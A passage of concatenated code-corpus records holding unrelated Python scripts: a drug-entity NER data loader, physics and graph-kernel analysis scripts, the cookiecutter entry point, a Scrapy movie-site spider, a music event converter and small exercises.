t_row[\"char_start_id\"] >= l_row[\"char_start_id\"] and t_row[\"char_start_id\"] <= l_row[\"char_end_id\"]:\n sample += f'{self.id2ner[l_row[\"ner_id\"]].upper()}:{t_row[\"token\"]} '\n is_ner = True\n \n if not is_ner:\n sample += t_row[\"token\"] + \" \"\n\n return sample.rstrip()\n\n\n\nclass DataLoader(DataLoaderBase):\n\n\n def __init__(self, data_dir:str, device=None):\n super().__init__(data_dir=data_dir, device=device)\n \n \n def My_tokenizer(self,sentence,charoff=False): # I removed an erlier version of this tokenizer that contains a set of rules that could capture name entities. Now it's just an nltk tokenizer \n \n numbers = [str(i) for i in range(1000)]\n tokens=[]\n char_o = []\n tokenized= word_tokenize(sentence)\n \n for i in tokenized:\n if i[-1] in string.punctuation:\n tokens.append(i[:-1])\n else:\n tokens.append(i)\n \n \n\n c_tokens=[ token for token in tokens if not token in string.punctuation if not token in numbers]\n l_tokens= \" \".join([t + \" \" for t in c_tokens])\n b = WhitespaceTokenizer().tokenize(l_tokens)\n if charoff: \n if len(c_tokens)>1:\n m = list(WhitespaceTokenizer().span_tokenize(l_tokens))\n char_o = list(zip(b,m))\n return char_o\n else: \n return b\n\n \n def medVocab_and_split(self): # This function splits the data and creat medical vocab corpus \n train1 = glob(\"{}/Train/*/*.xml\".format(self.data_dir)) \n \n val_size = (len(train1)*20)//100\n self.val = random.sample(train1,k= val_size)\n self.train = [i for i in train1 if i not in self.val]\n \n self.test = glob(\"{}/Test/*/*/*.xml\".format(self.data_dir))\n \n allfiles = train1 + self.test\n self.med_vocab={}\n sentences=[]\n for file in allfiles: \n root = ET.parse(file).getroot() \n for child in root.findall(\"sentence\"):\n text = child.items()[1][1] \n sentences.append(text)\n for i in child.findall(\"entity\"):\n entity_type = i.items()[2][1] \n self.med_vocab[i.items()[3][1]] = entity_type \n \n voc=[] # this part collects all words in all splits to make ids \n for sentence in sentences:\n voc+= self.My_tokenizer(sentence,charoff=False) \n self.word2id={token:idx for idx,token in enumerate(set(voc))}\n # self.vocab=[token for token in self.word2id.keys()]\n self.ner2id={\"N\":1,\"drug_n\":2,\"drug\":3,\"group\":4,\"brand\":5}\n \n pass\n\n\n\n def _parse_data(self,data_dir):\n self.data_dir = data_dir \n \n def sort(self,files,split): \n data_df={\"sentence_id\":[],\"token_id\":[],\"char_start_id\":[],\"char_end_id\":[],\"split\":[]} \n ner_df={\"sentence_id\":[],\"ner_id\":[],\"char_start_id\":[],\"char_end_id\":[]}\n repeated_ids =[]\n for file in files: \n root = ET.parse(file).getroot() \n for child in root.findall(\"sentence\"):\n text = child.items()[1][1]\n sent_id= child.items()[0][1] \n if len(text)>3 and sent_id not in repeated_ids: #Avoid repeated sentence ids in a split. \n repeated_ids.append(sent_id) \n tokens_char = self.My_tokenizer(text,charoff=True)\n \n for i in tokens_char:\n data_df['token_id'].append(self.word2id[i[0]])\n data_df['char_start_id'].append(i[1][0])\n data_df['char_end_id'].append(i[1][1])\n data_df['sentence_id'].append(sent_id)\n ner_df['char_start_id'].append(i[1][0])\n ner_df['char_end_id'].append(i[1][1])\n ner_df['sentence_id'].append(sent_id)\n data_df[\"split\"].append(split)\n if i[0] in self.med_vocab: \n Ner = self.ner2id[self.med_vocab[i[0]]]\n else:\n Ner = self.ner2id[\"N\"]\n \n ner_df[\"ner_id\"].append(Ner)\n \n ner_labels = pd.DataFrame.from_dict(ner_df) \n data = pd.DataFrame.from_dict(data_df) \n ner_only = ner_labels[ner_labels[\"ner_id\"]!=1]\n \n return ner_only, ner_labels , data\n \n self.medVocab_and_split()\n self.ners_tst, self.labeled_tst, id_test = sort(self,self.test,\"test\")\n self.ners_tr, self.labeled_train , id_train = sort(self,self.train,\"train\")\n self.ners_val, self.labeled_val , id_val = sort(self,self.val,\"val\")\n \n \n\n \n self.ner_df = pd.concat([self.ners_tr,self.ners_tst,self.ners_val],axis=0)\n self.data_df = pd.concat([id_train,id_test,id_val],axis=0)\n # self.labeled_df = pd.concat([self.labeled_train,self.labeled_tst,self.labeled_val],axis=0)\n \n \n self.id2ner = {ids:ners for ners,ids in self.ner2id.items()}\n self.id2word = {ids:tokens for tokens,ids in self.word2id.items()}\n self.vocab = [self.id2word[i] for i in id_train[\"token_id\"].tolist()] # vocab of the train set only\n \n \n \n lengths=[]\n n = self.data_df[\"sentence_id\"].unique()\n for i in n: \n b = self.data_df.loc[self.data_df[\"sentence_id\"].isin([i])]\n lengths.append(len(b[\"token_id\"].tolist()))\n \n self.max_sample_length = max(lengths) \n \n \n \n \n pass\n \n\n def get_y(self):\n # Should return a tensor containing the ner labels for all samples in each split.\n # the tensors should have the following following dimensions:\n # (NUMBER_SAMPLES, MAX_SAMPLE_LENGTH)\n # NOTE! the labels for each split should be on the GPU\n \n \n def pad(self,data,max_len):\n\n n = data[\"sentence_id\"].unique()\n sample_tags = []\n for i in n:\n b = data.loc[data[\"sentence_id\"].isin([i])]\n sample_tags.append(torch.Tensor(b[\"ner_id\"].tolist())) \n tags = torch.stack([torch.cat([i, i.new_zeros(max_len - i.size(0))], 0) for i in sample_tags],0)\n return tags\n \n device = torch.device('cuda:1')\n \n self.train_y = pad(self,self.labeled_train,self.max_sample_length) \n self.train_y = self.train_y.to(device)\n self.test_y = pad(self,self.labeled_tst,self.max_sample_length) \n self.test_y= self.test_y.to(device)\n self.val_y = pad(self,self.labeled_val,self.max_sample_length) \n self.val_y = self.val_y.to(device)\n return self.train_y, self.val_y, self.test_y\n \n \n def plot_split_ner_distribution(self):\n \n self.get_y()\n \n def count(df):\n token= df.groupby(\"ner_id\").count()\n a = [\"n_drug\",\"drug\",\"group\",\"brand\"]\n b = token[\"sentence_id\"].tolist()\n c= zip(a,b)\n final = {i[0]:i[1] for i in c}\n \n return final\n\n train = count(self.ners_tr)\n test = count(self.ners_tst)\n val = count(self.ners_val)\n \n plotting= pd.DataFrame([train,test,val],index=['train', 'test', 'val'])\n plotting.plot.bar(figsize=(4,8))\n plt.show()\n \n pass \n\n\n def plot_sample_length_distribution(self):\n \n lengths=[]\n n = self.data_df[\"sentence_id\"].unique()\n for i in n: \n b = self.data_df.loc[self.data_df[\"sentence_id\"].isin([i])]\n lengths.append(len(b[\"token_id\"].tolist()))\n\n plt.hist(lengths,80)\n plt.show()\n \n pass\n\n\n def plot_ner_per_sample_distribution(self): \n \n a = self.ner_df.groupby(\"sentence_id\").count()\n b = a[\"ner_id\"].tolist()\n \n for i in self.data_df[\"sentence_id\"].unique():\n if i not in self.ner_df[\"sentence_id\"].tolist():\n b.append(0)\n \n plt.hist(b,80)\n plt.show()\n \n pass\n\n\n def plot_ner_cooccurence_venndiagram(self):\n\n n_drug = self.ner_df.loc[self.ner_df['ner_id'] == 2, 'sentence_id'].tolist()\n drug = self.ner_df.loc[self.ner_df['ner_id'] == 3, 'sentence_id'].tolist()\n group = self.ner_df.loc[self.ner_df['ner_id'] == 4, 'sentence_id'].tolist()\n brand = self.ner_df.loc[self.ner_df['ner_id'] == 5, 'sentence_id'].tolist() \n\n venn({\"n_drug\": set(n_drug), \"drug\": set(drug), \"group\": set(group), \"brand\": set(brand)})\n plt.show()\n \n pass\n\n\n\n","sub_path":"aa/data_loading.py","file_name":"data_loading.py","file_ext":"py","file_size_in_byte":11221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"560769710","text":"#! /usr/bin/python\n\n__author__=\"grasseau\"\n__date__ =\"$Jul 29, 2019 5:41:32 PM$\"\n\nimport math\nimport uproot\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nimport matplotlib.image as mpimg\nimport pickle\nimport cv2\n\nimport dataSet as ds\nfrom Config import Config\nimport hgcal2DPlot as hplt\n\nDataSet = \"/grid_mnt/data_cms_upgrade/grasseau/HGCAL-2D/DataSet/\"\n\ndef load(fObjName):\n\n fileName = fObjName\n print(\"Reading \", fileName)\n file_ = open( fileName, 'rb')\n obj = pickle.load( file_)\n return obj\n\nclass State(Config):\n\n genpart_branches = [\"genpart_gen\",\"genpart_reachedEE\",\"genpart_energy\",\"genpart_eta\",\"genpart_phi\", \"genpart_pid\",\n \"genpart_posx\",\"genpart_posy\",\"genpart_posz\"]\n rechit_branches = [\"rechit_x\", \"rechit_y\", \"rechit_z\", \"rechit_energy\",\"rechit_layer\", 'rechit_flags',\n 'rechit_cluster2d', 'cluster2d_multicluster']\n branches = genpart_branches\n branches += rechit_branches\n\n def __init__(self, rootFileName):\n super( State, self).__init__()\n self.currentEvID = 0\n # Distribution of the particle type (use for repporting)\n self.part = np.zeros( len(self.pidToIdx), dtype=int)\n # Event rejected\n self.evRejected = []\n #\n # Open tree\n self.fname = rootFileName\n self.tree = uproot.open(self.fname)[\"ana/hgc\"]\n print (\"Nbr of entries in root file:\", self.tree.numentries)\n return\n\n def setCurrentEvID(self, evID):\n self.currentEvID = evID\n return\n\nif __name__ == \"__main__\":\n s = State(DataSet + \"hgcalNtuple_electrons_photons_pions.root\")\n # obj = load( \"eval-50.10-20.obj\")\n # obj = load( \"train-1000.6-10.obj\")\n # obj1 = load( \"training-1000.10-20.obj\")\n # obj1 = load( \"train.obj\")\n # obj1 = load( \"eval-layer.12-20-100.obj\")\n obj1 = load( \"histo2D-50.no-layer.obj\")\n\n print ('file size', len(obj1), len(obj1[0]))\n mean1 = hplt.computeDataSetMeans( s, obj1 )\n # obj2 = load( \"eval-50.10-20.obj\")\n # obj2 = load( \"train-1000.6-10.obj\")\n obj2 = load( \"histo2D-50.no-layer.obj\")\n mean2 = hplt.computeDataSetMeans( s, obj2 )\n hplt.compareHistos( s, mean1, mean2)\n\n for i in range(len(obj2[0])):\n hplt.plotAnalyseDataSet_v1 (s, obj2, i )\n","sub_path":"PreProcessing/2D/plotDataSet.py","file_name":"plotDataSet.py","file_ext":"py","file_size_in_byte":2267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"482044801","text":"# Task 8.9\nimport math\n\nm_he = 1 # масса гелия\nm_oil = 1 # масса нефти\nq_oil = 4.6*pow(10,7) # удельная теплота сгорания нефти\nM = 4*pow(10,-3)\nNa = 6.02*pow(10,23) # число Авогадро\nmp = 1.672*pow(10,-27) # масса протона\nmn = 1.674*pow(10,-27) # масса нейтрона\nmcore = 6.695*pow(10, -27) # масса ядра гелия\nc = 3*pow(10,8) # скорость света\nZ = 2 # количество протонов\nA = 3 # количество нуклонов\n\ndm = abs(Z*mp+(A-Z)*mn-mcore) # дефект массы\nEsv = dm*c**2 # энергия связи для одного атома\n\nN = m_he*Na/M # кол-во атомов в 1 кг\nE = Esv*N # энергия\nQ = m_oil*q_oil # эненргия при сгорании\nprint(E, Q, E/Q)","sub_path":"3_semester/Calc_Graph_Task/2-Part/Py_s/8.py","file_name":"8.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"273693404","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\ncookiecutter.main\n-----------------\n\nMain entry point for the `cookiecutter` command.\n\nThe code in this module is also a good example of how to use Cookiecutter as a\nlibrary rather than a script.\n\"\"\"\n\nimport argparse\nimport logging\nimport os\nimport sys\n\nfrom .cleanup import remove_repo\nfrom .find import find_template\nfrom .prompt import prompt_for_config\nfrom .generate import generate_context, generate_files\nfrom .vcs import git_clone\n\n\nlogger = logging.getLogger(__name__)\n\ndef cookiecutter(input_dir, checkout=None):\n \"\"\"\n API equivalent to using Cookiecutter at the command line.\n\n :param input_dir: A directory containing a project template dir,\n or a URL to git repo.\n :param checkout: The branch, tag or commit ID to checkout after clone\n \"\"\"\n\n # If it's a git repo, clone and prompt\n if input_dir.endswith('.git'):\n got_repo_arg = True\n repo_dir = git_clone(input_dir, checkout)\n project_template = find_template(repo_dir)\n else:\n got_repo_arg = False\n project_template = find_template(input_dir)\n\n config_file = os.path.join(os.path.dirname(project_template), 'cookiecutter.json')\n logging.debug('config_file is {0}'.format(config_file))\n\n context = generate_context(\n config_file=config_file\n )\n\n # If the context came from a repo, prompt the user to manually configure\n # at the command line.\n if got_repo_arg:\n cookiecutter_dict = prompt_for_config(context)\n context['cookiecutter'] = cookiecutter_dict\n\n # Create project from local context and project template.\n generate_files(\n template_dir=project_template,\n context=context\n )\n\n # Remove repo if Cookiecutter cloned it in the first place.\n # Here the user just wants a project, not a project template.\n if got_repo_arg:\n generated_project = context['cookiecutter']['repo_name']\n remove_repo(repo_dir, generated_project)\n\n\ndef parse_cookiecutter_args(args):\n \"\"\" Parse the command-line arguments to Cookiecutter. \"\"\"\n\n parser = argparse.ArgumentParser(\n description='Create a project from a Cookiecutter project template.'\n )\n parser.add_argument(\n 'input_dir',\n help='Cookiecutter project dir, e.g. cookiecutter-pypackage/'\n )\n parser.add_argument(\n '-c', '--checkout',\n help='branch, tag or commit to checkout after git clone'\n )\n parser.add_argument(\n '-v', '--verbose',\n help='Print debug information',\n action='store_true', default=False\n )\n return parser.parse_args(args)\n\n\ndef main():\n \"\"\" Entry point for the package, as defined in setup.py. \"\"\"\n\n args = parse_cookiecutter_args(sys.argv[1:])\n\n if args.verbose:\n logging.basicConfig(format='%(levelname)s %(filename)s: %(message)s', level=logging.DEBUG)\n else:\n # Log info and above to console\n logging.basicConfig(format='%(levelname)s: %(message)s', level=logging.INFO)\n \n cookiecutter(args.input_dir, args.checkout)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"cookiecutter/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"95312200","text":"from order.graphs_approx_order import ApproxGED\nfrom order.order_base import OrderBase\nfrom order.parallel_dist import parallel_distances\nimport networkx as nx\nimport json\nimport os\nimport tqdm\nimport torch\nimport numpy as np\n\nMAX_OBJS = 5\n\n\nclass GraphsApproxOrder(OrderBase):\n graphs = None\n\n def __init__(self, clevr_dir, gt='proportional', how_many=15000, st='test', ncpu=4):\n super().__init__()\n\n s = 'val' if st == 'test' else st\n scene_file = os.path.join(clevr_dir, 'scenes', 'CLEVR_{}_scenes.json'.format(s))\n if not GraphsApproxOrder.graphs:\n print('Building graphs from JSON from {}...'.format(s))\n GraphsApproxOrder.graphs, self.idxs = self.load_graphs(scene_file, how_many)\n self.gt = gt\n self.st = st\n self.ncpu = ncpu\n\n def load_graphs(self, scene_file, how_many):\n clevr_scenes = json.load(open(scene_file))['scenes']\n clevr_scenes = clevr_scenes[:how_many]\n graphs = []\n img_indexes = []\n\n for s_idx, scene in enumerate(clevr_scenes):\n graph = nx.MultiDiGraph()\n # build graph nodes for every object\n objs = scene['objects']\n if len(objs) > MAX_OBJS:\n continue\n for idx, obj in enumerate(objs):\n graph.add_node(idx, color=obj['color'], shape=obj['shape'], material=obj['material'], size=obj['size'])\n\n relationships = scene['relationships']\n for name, rel in relationships.items():\n if name in ('right', 'front'):\n for b_idx, row in enumerate(rel):\n for a_idx in row:\n graph.add_edge(a_idx, b_idx, relation=name)\n img_indexes.append(s_idx)\n graphs.append(graph)\n return graphs, img_indexes\n\n '''\n Calculates approximated graph edit distance.\n '''\n\n def ged(self, g1, g2, node_weight_mode='proportional'):\n tot_cost = 0\n approx_ged = ApproxGED(self.gt)\n '''for rel in ['right','front']:\n c, _ = approx_ged.ged(g1[rel], g2[rel])\n tot_cost += c\n '''\n tot_cost, _ = approx_ged.ged(g1, g2)\n return tot_cost\n\n def compute_distances(self, query_img_index):\n return parallel_distances('ged-approx-{}-{}'.format(self.gt, self.st), self.graphs, query_img_index, self.ged,\n kwargs={'node_weight_mode': self.gt}, ncpu=self.ncpu)\n #query_graph = self.graphs[query_img_index]\n #return [self.ged(query_graph, g) for g in self.graphs]\n\n def get_name(self):\n return 'graph GT\\n({})\\napprox'.format(self.gt)\n\n def get_identifier(self):\n return '{}-set{}'.format(self.get_name().replace('\\n', '_').replace(' ', '-'), self.st)\n\n def length(self):\n return len(self.graphs)\n\n\nif __name__ == '__main__':\n ncpu = 14\n clevr_dir = '/home/nicola/Documents/CLEVR_v1.0'\n cache_fld = 'KernelDistances_cache'\n kernel = []\n st = 'test'\n how_many = 2500 if st != 'train' else 15000\n\n graph_order = GraphsApproxOrder(clevr_dir, st=st, how_many=how_many, ncpu=ncpu)\n print('Number of graphs having #OBJS<={}: {}. Taken: {}'.format(MAX_OBJS, graph_order.length(), how_many))\n for idx in tqdm.trange(graph_order.length()):\n distances, _, _ = graph_order.get(idx, min_length=15000, include_query=True, cache_fld=cache_fld)\n kernel.append(distances)\n\n np_kernel = np.array(kernel)\n max_every_row = np.amax(np_kernel, axis=1)\n max_every_row = np.expand_dims(max_every_row, axis=1)\n max_matrix = np.repeat(max_every_row, np_kernel.shape[1], axis=1)\n similarities = max_matrix - np_kernel\n similarities = torch.from_numpy(similarities)\n torch.save(similarities, os.path.join('ged_kernel_clevr_{}.dat'.format(st)))\n\n\n","sub_path":"generate_graph_kernel.py","file_name":"generate_graph_kernel.py","file_ext":"py","file_size_in_byte":3851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"344842783","text":"import sys\nimport subprocess\nimport numpy as np\n\nquery_word = sys.argv[1]\n\nid2word = {}\nword2vector = {}\n\nprint('load_label')\n\nwith open('entity_vector_only_label.txt', 'r') as f:\n for i, raw_l in enumerate(f):\n w = raw_l.strip()\n id2word[i] = w\n\nprint('load_vector')\n \nwith open('entity_vector_nolabel.txt', 'r') as f:\n for i, raw_l in enumerate(f):\n v = raw_l.strip()\n w = id2word[i]\n word2vector[w] = v\n #word2vector[w] = [float(x) for x in v.split(' ')]\n\nprint('make query')\nquery_vector = word2vector[query_word]\n\nwith open('query.txt', 'w') as f:\n f.write(query_vector)\n f.write('\\n')\n\nprint('search')\n\nn_show = 20\n#cmd = ['ngt', 'search', '-n', str(n_show), 'index', 'query.txt']\n#cmd = ['ngt', 'search', '-n', str(n_show), 'index', 'nwjc2vec_only_labal.txt']\ncmd = ['ngt', 'search', '-n', str(n_show), 'index', 'query.txt']\nresult = str(subprocess.check_output(cmd)).split('\\\\n')\nprint(result)\nwords = []\nfor i, raw_l in enumerate(result):\n if i < 2 or i > n_show+1:\n print(raw_l.strip())\n continue\n l = raw_l.strip().split('\\\\t')\n wid = int(l[1]) -1\n l[1] = id2word[wid]\n words.append(l[1]) \n print(' '.join(l))\n\nprint('make average query')\nv = np.zeros(200)\nfor w in words:\n v += np.array([float(x) for x in word2vector[w].split(' ')])\n\nv = v / n_show\n \nquery_vector = ' '.join([str(x) for x in v])\nwith open('average_query.txt', 'w') as f:\n f.write(query_vector)\n f.write('\\n')\n\nprint('average search')\ncmd = ['ngt', 'search', '-n', str(n_show), 'index', 'average_query.txt']\nresult = str(subprocess.check_output(cmd)).split('\\\\n')\nwords = []\nfor i, raw_l in enumerate(result):\n if i < 2 or i > n_show+1:\n print(raw_l.strip())\n continue\n l = raw_l.strip().split('\\\\t')\n wid = int(l[1]) -1\n l[1] = id2word[wid]\n words.append(l[1]) \n print(' '.join(l))\n","sub_path":"workspace2/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"401134362","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport re\nfrom dytt.items import DyttItem\n\nclass MovieSpider(scrapy.Spider):\n name = 'movie'\n allowed_domains = ['www.dytt8.net']\n start_urls = ['http://www.dytt8.net/html/gndy/dyzz/list_23_1.html']\n\n def parse(self, response):\n item = DyttItem()\n table_list = response.xpath(\"//table[@class='tbspan']\")\n\n #解析页面\n for table in table_list:\n item['title'] = table.xpath(\".//a/text()\")[0].extract()\n item['brief'] = table.xpath(\".//tr[last()]/td/text()\")[0].extract()\n item['link'] = 'http://www.dytt8.net' + table.xpath(\".//a/@href\")[0].extract()\n # print(item)\n # 获取最大页数\n page = re.compile(r'共(\\d+)页')\n max_page = int(page.findall(response.text)[0])\n yield scrapy.Request(item['link'], meta={'item': item}, callback=self.parse_detail)\n\n for i in range(2, max_page+1):\n print(max_page)\n url = 'http://www.dytt8.net/html/gndy/dyzz/list_23_{}.html'.format(i)\n print(url)\n yield scrapy.Request(url, callback=self.parse)\n\n #回调函数解析2级页面\n def parse_detail(self, response):\n item = response.meta['item']\n item['poster'] = response.xpath('//div[@id=\"Zoom\"]//img[1]/@src')[0].extract()\n item['download_url'] = response.xpath('//div[@id=\"Zoom\"]//table[1]//a/text()').extract()\n # print(item)\n yield item","sub_path":"dytt/dytt/spiders/movie.py","file_name":"movie.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"537170261","text":"import CaboCha\nimport MeCab\nimport csv\nimport os\n\nclass Sentiment():\n\n def __init__(self):\n self.m = MeCab.Tagger()\n self.c = CaboCha.Parser()\n self.fPath = os.path.abspath(os.path.dirname(__file__)) + '/pn_ja.dic'\n self.table = type('Table', (dict,),\n {'__missing__':lambda self,key:{'type':None, 'num':0.0}})()\n self.loadTable()\n\n def loadTable(self):\n with open(self.fPath, newline='', encoding='sjis') as csvfile:\n records = csv.reader(csvfile, delimiter=':', quotechar='|')\n for record in records:\n value = {'type':record[2], 'num':record[3]}\n self.table.update({record[0] : value})\n self.table.update({record[1] : value})\n\n def run(self, text):\n # m = self.m.parseToNode(text)\n # while m:\n # print(m.surface, m.feature)\n # m = m.next\n parsed = self.c.parse(text)\n dics = self.extract(parsed)\n dics = self.addScore(dics)\n dics = self.reverse(dics)\n\n def extract(self, parsed):\n dics = []\n for i in range(parsed.chunk_size()):\n chunk = parsed.chunk(i)\n features = []\n bases = []\n normalizeds = []\n for ix in range(chunk.token_pos, chunk.token_pos + chunk.token_size):\n normalizeds.append(parsed.token(ix).normalized_surface)\n features.append(parsed.token(ix).feature.split(','))\n bases.append(features[-1][6])\n dics.append({'bases':bases, 'normalizeds':normalizeds, 'features':features})\n return dics\n\n def addScore(self, dics):\n for i,dic in enumerate(dics):\n dics[i]['score'] = [self.table[base] for base in dic['bases']]\n return dics\n\n def reverse(self, dics):\n print(dics)\n # exit()\n pass\n\n def print(self, parsed):\n print(parsed.toString(CaboCha.FORMAT_TREE))\n print(parsed.toString(CaboCha.FORMAT_LATTICE))\n print(parsed.toString(CaboCha.FORMAT_TREE_LATTICE))\n print(parsed.toString(CaboCha.FORMAT_XML))\n","sub_path":"stock/src/t10471/analysis/word/sentiment.py","file_name":"sentiment.py","file_ext":"py","file_size_in_byte":2139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"320612786","text":"from copy import deepcopy\nfrom MusECI.MusEciDataStructures import INST, Par, Music, Part\nfrom MusECI.BasicOperations import dur, mMap\n\n# =================================================================\n# EVENT-STYLE REPRESENTATION\n# Euterpea features an event-based representation of music called\n# MEvent. Conversion from Music to MEvent requires processing of\n# certain modifiers, such as Tempo.\n# =================================================================\n\ndef applyTempo(x, tempo=1.0):\n \"\"\"\n applyTempo copies its input and interprets its Tempo modifiers. This\n scales durations in the tree and removes Modify nodes for Tempo. The\n original input structure, however, is left unchanged.\n :param x:\n :param tempo:\n :return:\n \"\"\"\n y = deepcopy(x)\n y = applyTempoInPlace(y, tempo)\n return y\n\n\ndef applyTempoInPlace(x, tempo=1.0):\n \"\"\"\n applyTempoInPlace performs in-place interpretation of Tempo modifiers.\n However, it still has to be used as: foo = applyTempoInPace(foo)\n :param x:\n :param tempo:\n :return:\n \"\"\"\n if (x.__class__.__name__ == 'Music'):\n #x.tree = applyTempo(x.tree, 120/x.bpm)\n #return x\n newTrees = []\n for t in x.trees:\n newTrees.append(applyTempo(t))\n x.trees = newTrees\n x.bpm = 120\n return x\n elif (x.__class__.__name__ == 'Note' or x.__class__.__name__ == 'Rest'):\n x.dur = x.dur / tempo\n if not(x.onset is None):\n x.onset = x.onset / tempo\n return x\n elif (x.__class__.__name__ == 'Par' or x.__class__.__name__ == 'Seq'):\n newTrees = []\n for t in x.trees:\n newTrees.append(applyTempo(t))\n x.trees = newTrees\n return x\n elif (x.__class__.__name__ == 'Part'): # formerly Modify\n #if (x.mod.__class__.__name__ == 'Tempo'):\n # x.tree = applyTempo(x.tree, x.mod.value)\n # return x.tree\n #else:\n x.tree = applyTempo(x.tree, tempo)\n return x\n else:\n raise Exception(\"Unrecognized musical structure: \"+str(x))\n\n\nclass MEvent:\n \"\"\"\n MEvent is a fairly direct representation of Haskell Euterpea's MEvent type,\n which is for event-style reasoning much like a piano roll representation.\n eTime is absolute time for a tempo of 120bpm. So, 0.25 is a quarter note at\n 128bpm. The patch field should be a patch number, like the patch field of\n the Instrument class.\n \"\"\"\n def __init__(self, eTime, pitch, dur, vol=100, patch=(-1, INST)):\n self.eTime = eTime\n self.pitch = pitch\n self.dur = dur\n self.vol = vol\n self.patch = patch\n\n def __str__(self):\n return \"MEvent({0}, {1}, {2}, {3}, {4})\".format(str(self.eTime), str(self.pitch), str(self.dur), str(self.vol), str(self.patch))\n\n def __repr__(self):\n return str(self)\n\n\ndef musicToMEvents(musicVal, currentTime=0, currentInstrument=(-1,INST)): # TO-DO: finish onset handling\n \"\"\"\n The musicToMEvents function converts a tree of Notes and Rests into an\n event structure.\n :param x:\n :param currentTime:\n :param currentInstrument:\n :return:\n \"\"\"\n x = deepcopy(musicVal)\n x.forceMIDICompatible()\n if (x.__class__.__name__ == 'Music'):\n #y = applyTempo(x) # interpret all tempo scaling factors before continuing\n #return musicToMEvents(y.tree, 0, (-1,INST))\n evs = []\n for t in x.trees:\n evs = evs + musicToMEvents(t, currentTime, currentInstrument)\n return sorted(evs, key=lambda e: e.eTime) # need to sort events by onset\n elif (x.__class__.__name__ == 'Note'):\n if x.dur > 0: # one note = one event as long as the duration is positive\n if (x.onset==None):\n return [MEvent(currentTime, x.pitch, x.dur, x.vol, currentInstrument)] # relative placement used if no onset\n else:\n return [MEvent(x.onset, x.pitch, x.dur, x.vol, currentInstrument)] # onset used if it exists\n else: # when duration is <0, there should be no event.\n return []\n elif (x.__class__.__name__ == 'Rest'):\n return [] # rests don't contribute to an event representation\n elif (x.__class__.__name__ == 'Seq'):\n evs = []\n nextCurrentTime = currentTime\n for t in x.trees:\n evs = evs + musicToMEvents(t, nextCurrentTime, currentInstrument)\n nextCurrentTime = nextCurrentTime + dur(t)\n #return evs # events can be concatenated, doesn't require sorting\n return sorted(evs, key=lambda e: e.eTime) # with Note onsets allowed, need to sort events by onset to be safe\n elif isinstance(x, Par):\n evs = []\n for t in x.trees:\n evs = evs + musicToMEvents(t, currentTime, currentInstrument)\n return sorted(evs, key=lambda e: e.eTime) # need to sort events by onset\n elif (x.__class__.__name__ == 'Part'): # formerly Modify\n #if (x.mod.__class__.__name__ == 'Tempo'):\n # y = applyTempo(x)\n # return musicToMEvents(y, currentTime, currentInstrument)\n #elif (x.mod.__class__.__name__ == 'Instrument'):\n if x.instrument is None:\n return musicToMEvents(x.tree, currentTime, (-1, INST)) # formerly x.mod\n else:\n return musicToMEvents(x.tree, currentTime, x.instrument.patch) # formerly x.mod\n else:\n raise Exception(\"Unrecognized musical structure: \"+str(x))\n\ndef musicToMEventByPart(musicVal, currentTime=0):\n if isinstance(musicVal, Music):\n vals = list()\n for t in musicVal.trees:\n vals.append(musicToMEvents(t, currentTime))\n return vals\n else:\n return musicToMEvents(musicVal, currentTime)\n","sub_path":"MusECI/MEvent.py","file_name":"MEvent.py","file_ext":"py","file_size_in_byte":5738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"225618739","text":"terms = int(input(\"How many terms do you want? \"))\r\n\r\nn1 = 0\r\nn2 = 1\r\ncount = 0\r\n\r\nif terms < 0:\r\n print(\"Please enter a positive integer\")\r\n\r\n\r\nelif terms == 1:\r\n print(f\"Fibonacci sequence upto {terms} :\")\r\n print(n1)\r\n\r\n\r\nelse:\r\n print(\"Fibonacci sequence: \" , end='')\r\n while count < terms:\r\n print(n1)\r\n temp = n1 + n2\r\n n1 = n2\r\n n2 = temp\r\n count = count+1","sub_path":"Fibonacci_Number.py","file_name":"Fibonacci_Number.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"518367608","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nFigure S1\n\nCreated on Fri Jul 29 13:28:03 2022\n\n@author: bfildier\n\"\"\"\n\n##-- modules\n\n# general\nimport scipy.io\nimport sys, os, glob\nimport numpy as np\nimport xarray as xr\nfrom datetime import datetime as dt\nfrom datetime import timedelta, timezone\nimport pytz\nimport pickle\nimport argparse\n\n# stats\nfrom scipy.stats import gaussian_kde\nfrom scipy.stats import linregress\nfrom scipy import optimize\n\n# images\nimport matplotlib\nfrom matplotlib import cm\nimport matplotlib.pyplot as plt\nfrom matplotlib.gridspec import GridSpec\nimport matplotlib.patches as mpatches\nimport matplotlib.lines as mlines\nfrom matplotlib.patches import Circle\nfrom PIL import Image\nimport matplotlib.image as mpimg\nimport cartopy.crs as ccrs\nimport cartopy.feature as cfeature\nfrom matplotlib.patches import Ellipse\nimport matplotlib.transforms as transforms\nfrom mpl_toolkits.axes_grid1.inset_locator import inset_axes\n\n##-- directories\n\n# workdir = os.path.dirname(os.path.realpath(__file__))\nworkdir = '/Users/bfildier/Code/analyses/EUREC4A/EUREC4A_organization/scripts'\nrepodir = os.path.dirname(workdir)\nmoduledir = os.path.join(repodir,'functions')\nresultdir = 